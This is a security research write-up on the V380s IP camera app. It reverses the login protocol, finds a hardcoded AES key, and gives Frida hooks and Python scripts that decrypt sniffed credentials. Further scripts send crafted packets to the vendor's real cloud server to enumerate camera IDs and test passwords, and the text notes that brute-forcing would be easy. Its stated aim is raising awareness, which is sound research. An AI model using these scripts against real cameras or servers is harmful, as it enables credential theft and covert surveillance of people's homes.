Objective
The objective of this project is to find a potential vulnerability or vulnerabilities in order to exploit a Chinese IP camera using its correspondent app v380s. We devide this Write up into two parts, part 1 focuses on a LAN enviroment, as opposed to part 2 which focuses on a cloud enviroment, where the camera is connected to a chinese server.
Part 1
Static analysis:
nmap
Started off with a full nmap scan, results showed a multitude of ports open:
> nmap -p- 192.168.1.1 Starting Nmap 7.60 ( https://nmap.org ) at 2020-02-17 18:48 GMT Nmap scan report for 192.168.1.1 Host is up (0.0028s latency). Not shown: 65529 closed ports PORT STATE SERVICE 5040/tcp open unknown 5050/tcp open mmcc 5051/tcp open ida-agent 7050/tcp open unknown 8800/tcp open sunwebadmin 8899/tcp open ospf-lite Nmap done: 1 IP address (1 host up) scanned in 1821.44 seconds
After trying to interact with the ports using netcat, none seemed to yeld any interesting results, so we move on to wireshark to analyse the traffic beetween the phone and the camera.
Wireshark
We start off by capturing the packets being exchanged when starting a stream beetween the phone and the camera.
Having identified the ip of the camera(192.168.1.1) and the phone’s ip(192.168.1.20),we put wireshark to capture and hit play and after applying the following filter:
ip.addr==192.168.1.20 && ip.addr==192.168.1.1
We get the following results:
At first glance we can see that the phone is communicating with the camera using port 8800 via TCP, following the tcp stream:
We get:
We find something interesting, there is plain data being sent, namely a date, an username, and what it looks like random data, which we assume has to be an encrypted password. We also observed that the bits sent after the username change when retrying requests with the same password, leaving us to assume there is a “random” value being passed.
Moving on from this assumption, our best bet is to reverse the application v380s.
Reversing the app v380s
Using jadx-gui, which is a .dex to .java decompiler,we start to look at possible methods used for encryption, searching for an encrypt method we get:
The two results that jump into view are the methods com.macrovideo.sdk.tools.Functions.encrypt and com.macrovideo.sdk.tools.AESUtils.encrypt because they are not part of the native java libraries. JADX-gui has a handy feature which is to find the usage of a certain method in all the app by right clicking the method and selecting find usage.
For com.macrovideo.sdk.tools.AESUtils.encrypt we see that it is not used at all in the app:
In contrast to com.macrovideo.sdk.tools.Functions.encrypt:
Encrypt method found in com.macrovideo.sdk.tools.Functions
public class Functions { ... public static byte[] encrypt(byte[] data, byte[] key) throws Exception { Key k = toKey(key); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, k); return cipher.doFinal(data); } public static Key toKey(byte[] key) throws Exception { return new SecretKeySpec(key, "AES"); } ... }
From this result, what pops into view straight away is the class com.macrovideo.sdk.media.LoginHelperEX
Looking into into it we find a variable randomKey being initialized:
public class LoginHelperEX { ... public static String randomkey = "macrovideo+*#!^@"; ... }
These are great news but only a piece of the puzzle, because the bits following the username in the packet would always be the same, if they were encrypted with the same key.
We also find methods found in the find usage namely:
public class LoginHelperEX { ... private static com.macrovideo.sdk.media.LoginHandle LoginFromServerEX(java.lang.String r77, int r78, java.lang.String r79, java.lang.String r80, int r81) ... private static com.macrovideo.sdk.media.LoginHandle LoginFromMRServerEX(java.lang.String r79, int r80, java.lang.String r81, int r82, java.lang.String r83, java.lang.String r84, int r85, int r86) ... }
Unfortunately JADX-GUI wasn’t able to reverse the smali code for these methods. So we use another decompiler called GDA-android-reversing-Tool. And we manage to reverse it!
From the two methods found we find these snippet of code which seems to handle password encryption.
private static LoginHandle LoginFromMRServerEX(String strDomain,int nPort,String strMRServerIP,int nMRPort,String strUsername,String strPassword,int nDeviceID,int nConnectType){ ... randomkey2 = Functions.getCharAndNumr(16); ... System.arraycopy(randomkey2.getBytes(), 0, LoginHelperEX.buffer, 103, randomkey2.getBytes().length()); encryptPassbyte = Functions.encrypt(strPassword.getBytes(), LoginHelperEX.randomkey.getBytes()); encryptPassbyte2 = Functions.encrypt(encryptPassbyte, randomkey2.getBytes()); System.arraycopy(encryptPassbyte2, 0, LoginHelperEX.buffer, 119, encryptPassbyte2.length()); LoginHelperEX.buffer[231]=(byte)nConnectType; writer.write(LoginHelperEX.buffer, 0, 256); writer.flush(); Arrays.fill(LoginHelperEX.buffer, 0); ... }
private static LoginHandle LoginFromServerEX(String strIP,int nPort,String strUsername,String strPassword,int nDeviceID){ ... randomkey2 = Functions.getCharAndNumr(16); ... System.arraycopy(randomkey2.getBytes(), 0, LoginHelperEX.buffer, 81, randomkey2.getBytes().length()); encryptPassbyte = Functions.encrypt(strPassword.getBytes(), LoginHelperEX.randomkey.getBytes()); encryptPassbyte2 = Functions.encrypt(encryptPassbyte, randomkey2.getBytes()); System.arraycopy(encryptPassbyte2, 0, LoginHelperEX.buffer, 97, encryptPassbyte2.length()); writer.write(LoginHelperEX.buffer, 0, 520); writer.flush(); ... }
From Function.getCharAndNumr:
public static String getCharAndNumr(int length) { String val = Constants.MAIN_VERSION_TAG; Random random = new Random(); for (int i = 0; i < length; i++) { String charOrNum = random.nextInt(2) % 2 == 0 ? "char" : "num"; if ("char".equalsIgnoreCase(charOrNum)) { val = String.valueOf(val) + ((char) (random.nextInt(26) + (random.nextInt(2) % 2 == 0 ? 65 : 97))); } else if ("num".equalsIgnoreCase(charOrNum)) { val = String.valueOf(val) + String.valueOf(random.nextInt(10)); } } return val; }
After analysing the code we conclude the following:
- Firstly RandomKey2 (which is a random string with a total lenght of 16 bytes) is inserted to LoginHelperEx
- Secondly the plain password(strPassword) gets encrypted with randomKey(“macrovideo+*#!^@”)
- Thirdly it then gets reencrypted with the randomKey2
So simplifying the encryption interaction in pseudo-code:
encryptedPassword = encrypt(randomKey2,(encrypt("macrovideo+*#!^@",plainPassword)))
Which then gets inserted into LoginHelperEx and then sent off to the camera:
System.arraycopy(encryptPassbyte2, 0, LoginHelperEX.buffer, 97, encryptPassbyte2.length()); ... writer.write(LoginHelperEX.buffer, 0, 520);
In the following section we will perform a dynamic analysis using frida in a rooted phone. And write a script to extract the plain password.
Dynamic analysis(Frida)
Frida is a handy tool where it can attach it self to methods running in an APP and overloading them during runtime allowing us to print out the Input and Output of a method. You can find the steps to installing and using frida here.
With this feature we can try to confirm our hypothesis and see if com.macrovideo.sdk.tools.Functions.encrypt is being used by the app when starting a video stream, and print out the variables passed to it. First off we need to make sure adb is running:
>sudo adb devices List of devices attached * daemon not running; starting now at tcp:5037 * daemon started successfully 00f2e36beca7a32a device
Then we check which process the app is running as:
>frida-ps -U | grep 380 18596 com.macrovideo.v380s
Which is com.macrovideo.v380s
Then we write a javascript script that will be passed onto Frida:
//Converts byte data to String function byteToString(data){ var result = ""; for(var i = 0; i < data.length; ++i){i result += (String.fromCharCode(data[i] & 0xff)); } return result } function intercept() { // Check if frida has located the JNI if (Java.available) { // Switch to the Java context Java.perform(function() { //Class that contains our method Encrypt that we will overload hook const myreceiver = Java.use('com.macrovideo.sdk.tools.Functions'); myreceiver.encrypt.overload('[B', '[B').implementation = function (data,key) { console.log("Data to be encrypted is: " + byteToString(data)); console.log("Key is :" , byteToString(key)); var ret = this.encrypt(data,key); return ret; } console.log('[+] tools.function Encrypt hooked') } )} } intercept()
And do so by running the following command:
frida -U -n "com.macrovideo.v380s" -L script.js
And then pressing play button on app we get:
>frida -U -n "com.macrovideo.v380s" -l script.js ____ / _ | Frida 12.8.10 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at https://www.frida.re/docs/home/ Attaching... [+] tools.function Encrypt hooked [LGE Nexus 5X::com.macrovideo.v380s]-> Data to be encrypted is: admin12345 Key is : macrovideo+*#!^@ Data to be encrypted is: eáÇeà÷Õ»´ QÛ Key is : 8pV39QG114F230qW
This result confirms what we guessed, that the plain password is being encrypted twice, we can see that by observing the encrypt method being used two times when trying to login into the camera.
- Firstly it gets encrypted with “macrovideo+*#!^@”
- Secondly it get encrypted with the 8pV39QG114F230qW
which is what we formulated before:
encryptedPassword = encrypt(randomKey2,(encrypt("macrovideo+*#!^@",plainPassword)))
So we know com.macrovideo.sdk.tools.Functions.encrypt is being used, now we need to see which of the methods is used to login, either LoginFromMRServerEX or LoginFromServerEX. With this javascript we can have frida find that for us:
function byteToString(data){ var result = ""; for(var i = 0; i < data.length; ++i){i result += (String.fromCharCode(data[i] & 0xff)); // here!! } return result } function intercept() { // Check if frida has located the JNI if (Java.available) { // Switch to the Java context Java.perform(function() { //Class that contains our method Encrypt that we will overload hook const myreceiver = Java.use('com.macrovideo.sdk.tools.Functions'); myreceiver.encrypt.overload('[B', '[B').implementation = function (data,key) { console.log("\nData to be encrypted is: " + byteToString(data)); console.log("Key is :" , byteToString(key)); var ret = this.encrypt(data,key); return ret; } console.log('[+] tools.function Encrypt hooked') //LoginFromMRServerEX const myreceiver = Java.use('com.macrovideo.sdk.media.LoginHelperEX'); myreceiver.LoginFromServerEX.overload('java.lang.String','int','java.lang.String','java.lang.String','int').implementation = function (a,b,c,d,e) { console.log("\n\nLoginFromServerEX Triggered!!"); return this.LoginFromServerEX(a,b,c,d,e); } console.log("LoginFromServerEX hooked") //LoginFromMRServerEX const myreceiver = Java.use('com.macrovideo.sdk.media.LoginHelperEX'); myreceiver.LoginFromMRServerEX.overload('java.lang.String','int','java.lang.String','int','java.lang.String','java.lang.String','int','int').implementation = function (a,b,c,d,e,f,g,h) { console.log("\n\LoginFromMRServerEX Triggered!!"); return this.LoginFromServerEX(a,b,c,d,e,f,g,h); } console.log("LoginFromServerEX hooked") } )} } intercept()
We get the following:
frida -U -n "com.macrovideo.v380s" -l script.js ____ / _ | Frida 12.8.10 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at https://www.frida.re/docs/home/ Attaching... [+] tools.function Encrypt hooked LoginFromServerEX hooked LoginFromServerEX hooked [LGE Nexus 5X::com.macrovideo.v380s]-> LoginFromServerEX Triggered!! Data to be encrypted is: admin Key is : macrovideo+*#!^@ Data to be encrypted is: ^8â*úeg¯Ê»F Key is : U0658S51fbM5P60I [?62;c
So LoginFromServerEx is being used, looking at the method regarding the password encryption we can see where exactly the randomKey2 and the final encrypted result as well as the username are being inserted into the packet before being sent off:
private static LoginHandle LoginFromServerEX(String strIP,int nPort,String strUsername,String strPassword,int nDeviceID){ ... System.arraycopy(strUsername.getBytes(), 0, LoginHelperEX.buffer, 49, strUsername.getBytes().length()); ... System.arraycopy(randomkey2.getBytes(), 0, LoginHelperEX.buffer, 81, randomkey2.getBytes().length()); ... System.arraycopy(encryptPassbyte2, 0, LoginHelperEX.buffer, 97, encryptPassbyte2.length()); ...
So username starts at offset 49, randomKey2 starts of at byte offset 81. And encryptPassByte2 starts at offset 97.
Great with this we can write our own python scrypt to extract the username and password:
#!/usr/bin/python3 from Crypto.Cipher import AES EXAMPLE_PACKET_HEX = "8f04000078000000020a00000017671301323032302d30312d30372030303a30303a35300000000000000000000000000061646d696e000000000000000000000000000000000000000000000000000000343254324f303563684e4132476134723cf6935ecdce6e04e441bdf8e262129c9ba95fcf8a6cdad8594287ec1c35b28c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" #Encrypted password and username are delimited by 0. def count(packet): counter = 0 for b in packet: if b != 0: counter += 1 else: return counter def decrypt(key , data): aes = AES.new(key,AES.MODE_ECB) unpad = lambda date: date[0:-date[-1]] msg = aes.decrypt(data) print("\nDecrypting with key (utf-8): \t"+ key) print("Decrypting data(hex):\t\t" +data.hex()) print("Decrypted data(hex): \t\t" + unpad(msg).hex()+ "\n") return unpad(msg) def decryptPacket(packet): print("Decrypting packet:\n\n"+ packet.hex()) randomKey2 = packet[81:97].decode("utf-8") usernameLenght = count(packet[49:]) username = packet[49:49+usernameLenght].decode("utf-8") origEncryptLenght = count(packet[97:]) origEncrypted = packet[97:97+origEncryptLenght] decrypted = decrypt(randomKey2,origEncrypted) finalDecrypted = decrypt("macrovideo+*#!^@",decrypted).decode('utf-8') result = {'username':username,'password':finalDecrypted} return result result = decryptPacket(bytes.fromhex(EXAMPLE_PACKET_HEX)) print("\rUsername is: {}\nPassword is: {}".format(result['username'],result['password']))
Running it we get:
./test.py Decrypting packet: 8f04000078000000020a00000017671301323032302d30312d30372030303a30303a35300000000000000000000000000061646d696e000000000000000000000000000000000000000000000000000000343254324f303563684e4132476134723cf6935ecdce6e04e441bdf8e262129c9ba95fcf8a6cdad8594287ec1c35b28c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Decrypting with key (utf-8): 42T2O05chNA2Ga4r Decrypting data(hex): 3cf6935ecdce6e04e441bdf8e262129c9ba95fcf8a6cdad8594287ec1c35b28c Decrypted data(hex): 829265e1c765e0f707d5bb95b4a051db Decrypting with key (utf-8): macrovideo+*#!^@ Decrypting data(hex): 829265e1c765e0f707d5bb95b4a051db Decrypted data(hex): 61646d696e3132333435 Username is: admin Password is: admin12345
Part 2
The analysis we observed we’re made in a LAN enviroment, if we setup the camera to connect to the cloud we can analyse the packets flowing both beetween the camera and the cloud server, and phone and cloud server.
Analysing traffic from camera to cloud server.
Using wireshark and an intercepting wi-fi Access Point, we capture traffic beetween the camera and cloud server.
There is alot of packets flowing around so we can use the packet find utility provided by wireshark by Edit->Find packet
and then setting to search for packet bytes, string and inserting ‘admin’ into the search parameter.
And so we find a very interesting UDP packet:
Looking at it the credentials for the camera coming from the chinese cloud server are in clear text namely admin:admin12345. This constitutes a massive security hole where an attacker can sniff out the wi-fi network and extract credentials with a minimal amount of effort.
Analysing traffic from phone to cloud server.
Again using wireshark and an intercepting wi-fi Access Point, we capture traffic beetween the phone and cloud server.
Searching for our camera id 18048791 we find an interesting packet:
This TCP packet contains just the id of the camera, and the cloud server will probably reply a different response wether or not the camera with that ID is online, to confirm our assumption we can start to develop script that uses the raw data sent to the chinese server and analyse its response.
Raw packet sent to chinese server:
Now with the following script:
#!/usr/bin/python3 import binascii import socket origId = b'18048791' id = input("ID to try: ") id = str.encode(id) hexID = binascii.hexlify(id).decode("utf-8") packet = "ac000000f4030000"+hexID+"2e6e766476722e6e65740000000000000000000000000000602200001767130100000000000000000000000000000000" IPADDR = '128.14.224.11' PORTNUM = 8900 BUFFER_SIZE = 1024 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IPADDR, PORTNUM)) print("Trying with ID: " , id) s.send(bytes.fromhex(packet)) received = s.recv(BUFFER_SIZE) s.close() print("Received Data",received)
We first get the result of when the camera is online:
./idTester.py ID to try: 18048791 Trying with ID: b'18048791' Received Data b'\x10\x01\x00\x00\x01\x00\x00\x00\x17g\x13\x01\x01\x01\x00\x00'
When the camera is offline:
./idTester.py ID to try: 18048791 Trying with ID: b'18048791' Received Data b'\x10\x01\x00\x00\x00\x00\x00\x00\x17g\x13\x01\x00\x00\x00\x00'
And with a probably non existent ID 99999999:
./idTester.py ID to try: 99999999 Trying with ID: b'99999999' Received Data b'\x10\x01\x00\x00\x00\x00\x00\x00\x17g\x13\x01\x00\x00\x00\x00'
Analysing the received data we see that the server replies the same reply if it’s a bogus value(99999999) or if the camera is offline so we can hardcoded to our script:
#!/usr/bin/python3 import binascii import socket origId = b'18048791' id = input("ID to try: ") id = str.encode(id) hexID = binascii.hexlify(id).decode("utf-8") data = "ac000000f4030000"+hexID+"2e6e766476722e6e65740000000000000000000000000000602200001767130100000000000000000000000000000000" #IPADDR = '47.91.79.46' IPADDR = '128.14.224.11' PORTNUM = 8900 BUFFER_SIZE = 1024 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IPADDR, PORTNUM)) print("Trying with ID: " , id) s.send(bytes.fromhex(data)) received = s.recv(BUFFER_SIZE) s.close() print("Received Data",received) invalidID = b'\x10\x01\x00\x00\x00\x00\x00\x00\x17g\x13\x01\x00\x00\x00\x00' if invalidID == received: print(f'The camera with ID:{id} is offline/non existent.') else: print(f'The camera with ID:{id} is online.')
From this position it would be very easy to improve the script as so to brute force for online camera ID’s, in this write up we focused to only test with our camera ID.
Continuing to analyse the packets in wireshark with the previosly method we find the following:
It seems that the username and camera ID is being sent over along with some encrypted array of bytes. Very similar to what we where seeing before in our static analysis. Knowing this and using the same mechanism we previosly wrote on our script to decrypt the packets transmitted in the dynamic Analysis we can develop a script to inject our encrypted password and see the different results it gives us,we will also try to extract strings from the packet:
#!/usr/bin/python3 import socket from Crypto.Cipher import AES packet = bytes.fromhex("8f040000f4030000030b0000001767130131383034383739312e6e766476722e6e657400000000000000000000000000000000000000000000000000000000000000006022000061646d696e000000000000000000000000000000000000000000000000000000303656364f6c34394c6d433534673732277fd700b845a57f2bbc65da4afc42c636341a2e59c8e3e62c746cdf94e07e9c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") randomKey = "42T2O05chNA2Ga4r" password = "password" BLOCK_SIZE = 16 def extractStrings(packet): result = "" for b in packet: if 45 < b < 123: result += chr(b) return result ##ECB padding PKS5 padding https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS#5_and_PKCS#7 def pad(text): nPad = BLOCK_SIZE - len(text) % BLOCK_SIZE nPad = BLOCK_SIZE if nPad == 0 else nPad if type(text) == type(b'b'): returnValue = text + chr(nPad).encode()*nPad else: returnValue = text+chr(nPad)*nPad return returnValue aes = AES.new("macrovideo+*#!^@" , AES.MODE_ECB) firstRoundEncrypt = aes.encrypt(pad(password)) print("First round encrypt value is: ",firstRoundEncrypt) aes = AES.new(randomKey , AES.MODE_ECB) secondRoundEncrypt = aes.encrypt(pad(firstRoundEncrypt)) print("Second round encrypt is: ",secondRoundEncrypt) payload = packet[0:103]+randomKey.encode()+secondRoundEncrypt+packet[151:] IPADDR = '128.14.224.11' PORTNUM = 8800 BUFFER_SIZE = 1024 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IPADDR, PORTNUM)) print(f"Trying with admin:{password} and ID:18048791") s.send(payload) received = s.recv(BUFFER_SIZE) s.close() print("\nReceived Data",received) stringsFromPacket = extractStrings(received) print("\nStrings from packet extracted: ", stringsFromPacket)
So using the correct admin:admin12345 creds with the camera ID 18048791 we get :
./passwordTester.py First round encrypt value is: b'\x82\x92e\xe1\xc7e\xe0\xf7\x07\xd5\xbb\x95\xb4\xa0Q\xdb' Second round encrypt is: b'<\xf6\x93^\xcd\xcen\x04\xe4A\xbd\xf8\xe2b\x12\x9c\x9b\xa9_\xcf\x8al\xda\xd8YB\x87\xec\x1c5\xb2\x8c' Trying with admin:admin12345 and ID:18048791 Received Data b'\x90\x04\x00\x00\xe9\x03\x00\x00\x9e\x00\x00\x00\x02`_\x00\x00\xfa\xd7S\x1a\x00\x00\x00\x00\x0137.228.231.30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x00\x00`"\x00\x0010.0.0.40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x01\x01\x01\ x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' Strings from packet extracted: `_S37.228.231.30`10.0.0.40
Using the wrong admin:wrongPassword creds with the camera ID 18048791 we get:
./passwordTester.py First round encrypt value is: b'\x1d\x13\xf4\xd6\xee\x97\xc7l\xaen\x8a\x18\xafn\xc3\x9f' Second round encrypt is: b'\xae\x89\xa2\xd9\x1do|Sx\x00\xdd\x13;\xb1\xa1\xea\x9b\xa9_\xcf\x8al\xda\xd8YB\x87\xec\x1c5\xb2\x8c' Trying with admin:random and ID:18048791 Received Data b'\x90\x04\x00\x00\xea\x03\x00\x00\x01\x00\x00\x00\x02Tw\x00\x00ZK\xb3\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x01\x01\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' Strings from packet extracted: TwZK
Turning off the camera we get:
./passwordTester.py First round encrypt value is: b'\x87a+\xce};\x7f\xd3\xa2\xd4\x1cjh\xd8\x1a\xe3' Second round encrypt is: b'\x93_\xdb\xd6\xe1p\xbb\xcf7\x08\xac\x9b\xe3ise\x9b\xa9_\xcf\x8al\xda\xd8YB\x87\xec\x1c5\xb2\x8c' Trying with admin:password and ID:18048791 Received Data b'\x90\x04\x00\x00\xea\x03\x00\x00\xff\xff\xff\xff\x02\x00\x00\x00\x00\x8a\xb4P\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' Strings from packet extracted: P
Analysing and comparing the received data we arrive at the conclusion that there are three different replies, correct ID username and password, wrong credentials, or non-existing/offline camera. We can also see that with the correct credentials the response includes a public address(probably chinese server to direct the phone to connect to) along with our private IP address, in the other responses the strings returned are ‘P’ and ‘TwZK’ depending if the camera is off or the credentials are incorrect.
Knowing this we can update our script:
... print("\nStrings from packet extracted: ", stringsFromPacket) if len(stringsFromPacket) > 8: print("Success!") elif stringsFromPacket == "TwZK": print("Incorrect credentials") elif stringsFromPacket == "P": print("Camera probably not connected.")
Again like in the previous example, we could easily have a password list and bruteforce using common usernames ie: admin.
Conclusion
This project proved to be very educational and interesting, and one of its purposes was to raise awareness of how insecure cheap IP cameras can be, we believe it’s important to educate people and make them understand how secure and private their devices can fail be.